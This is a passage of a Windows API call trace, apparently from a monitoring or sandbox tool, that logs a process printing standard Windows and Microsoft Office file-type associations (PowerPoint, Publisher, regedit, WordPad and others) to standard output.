	[0058.297] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Show.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0058.297] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x60, lpOverlapped=0x0) returned 1
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] GetFileType (hFile=0x5c) returned 0x3
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.ShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 110
	[0058.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6d, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x6d, lpOverlapped=0x0) returned 1
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] GetFileType (hFile=0x5c) returned 0x3
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0058.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x60, lpOverlapped=0x0) returned 1
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] GetFileType (hFile=0x5c) returned 0x3
	[0058.298] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.298] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Slide.8=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0058.298] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5f, lpOverlapped=0x0) returned 1
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] GetFileType (hFile=0x5c) returned 0x3
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideMacroEnabled.12=C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 109
	[0058.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x6c, lpOverlapped=0x0) returned 1
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] GetFileType (hFile=0x5c) returned 0x3
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 106
	[0058.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x69, lpOverlapped=0x0) returned 1
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] GetFileType (hFile=0x5c) returned 0x3
	[0058.299] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.299] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShow.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 105
	[0058.299] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x68, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x68, lpOverlapped=0x0) returned 1
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] GetFileType (hFile=0x5c) returned 0x3
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.SlideShowMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" /s \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 118
	[0058.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x75, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x75, lpOverlapped=0x0) returned 1
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] GetFileType (hFile=0x5c) returned 0x3
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 102
	[0058.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x65, lpOverlapped=0x0) returned 1
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] GetFileType (hFile=0x5c) returned 0x3
	[0058.300] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.300] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Template.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0058.300] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x64, lpOverlapped=0x0) returned 1
	[0058.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.301] GetFileType (hFile=0x5c) returned 0x3
	[0058.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.TemplateMacroEnabled.12=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 114
	[0058.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x71, lpOverlapped=0x0) returned 1
	[0058.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.301] GetFileType (hFile=0x5c) returned 0x3
	[0058.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.301] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 97
	[0058.301] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x60, lpOverlapped=0x0) returned 1
	[0058.301] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.301] GetFileType (hFile=0x5c) returned 0x3
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PowerPoint.Wizard.8=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.302] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] GetFileType (hFile=0x5c) returned 0x3
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 84
	[0058.302] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x53, lpOverlapped=0x0) returned 1
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] GetFileType (hFile=0x5c) returned 0x3
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointhtmltemplate=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 88
	[0058.302] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x57, lpOverlapped=0x0) returned 1
	[0058.302] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.302] GetFileType (hFile=0x5c) returned 0x3
	[0058.303] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="powerpointxmlfile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\POWERPNT.EXE\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.303] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.303] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.303] GetFileType (hFile=0x5c) returned 0x3
	[0058.303] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="prffile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnPRF %1\r\n", lpUsedDefaultChar=0x0) returned 100
	[0058.303] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x63, lpOverlapped=0x0) returned 1
	[0058.303] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.303] GetFileType (hFile=0x5c) returned 0x3
	[0058.303] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.303] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Project=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83
	[0058.303] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x52, lpOverlapped=0x0) returned 1
	[0058.304] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.304] GetFileType (hFile=0x5c) returned 0x3
	[0058.304] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.Document.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSPUB.EXE\" /ou \"%u\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 98
	[0058.304] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x61, lpOverlapped=0x0) returned 1
	[0058.304] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.304] GetFileType (hFile=0x5c) returned 0x3
	[0058.304] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.304] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Publisher.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96
	[0058.304] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x5f, lpOverlapped=0x0) returned 1
	[0058.304] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.304] GetFileType (hFile=0x5c) returned 0x3
	[0058.305] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ratfile=\"%SystemRoot%\\System32\\rundll32.exe\" \"%SystemRoot%\\System32\\msrating.dll\",ClickedOnRAT %1\r\n", lpUsedDefaultChar=0x0) returned 100
	[0058.305] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x63, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x63, lpOverlapped=0x0) returned 1
	[0058.305] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.305] GetFileType (hFile=0x5c) returned 0x3
	[0058.305] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regedit=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regedit=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27
	[0058.305] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x1a, lpOverlapped=0x0) returned 1
	[0058.305] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.305] GetFileType (hFile=0x5c) returned 0x3
	[0058.305] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.305] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="regfile=regedit.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="regfile=regedit.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 27
	[0058.305] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x1a, lpOverlapped=0x0) returned 1
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] GetFileType (hFile=0x5c) returned 0x3
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RemoteAssistance.1=\"%systemRoot%\\system32\\msra.exe\" -openfile \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 69
	[0058.306] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x44, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x44, lpOverlapped=0x0) returned 1
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] GetFileType (hFile=0x5c) returned 0x3
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlefile=\"%systemroot%\\system32\\mspaint.exe\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 51
	[0058.306] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x32, lpOverlapped=0x0) returned 1
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] GetFileType (hFile=0x5c) returned 0x3
	[0058.306] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.306] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rlogin=\"C:\\Windows\\System32\\rundll32.exe\" \"C:\\Windows\\System32\\url.dll\",TelnetProtocolHandler %l\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.306] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.307] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.307] GetFileType (hFile=0x5c) returned 0x3
	[0058.307] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rtffile=\"%ProgramFiles%\\Windows NT\\Accessories\\WORDPAD.EXE\" \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 67
	[0058.307] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x42, lpOverlapped=0x0) returned 1
	[0058.307] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.307] GetFileType (hFile=0x5c) returned 0x3
	[0058.307] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SavedDsQuery=%SystemRoot%\\system32\\rundll32.exe %SystemRoot%\\system32\\dsquery.dll,OpenSavedDsQuery %1\r\n", lpUsedDefaultChar=0x0) returned 104
	[0058.307] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x67, lpOverlapped=0x0) returned 1
	[0058.308] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.308] GetFileType (hFile=0x5c) returned 0x3
	[0058.308] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.308] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="scrfile=\"%1\" /S\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="scrfile=\"%1\" /S\r\n", lpUsedDefaultChar=0x0) returned 18
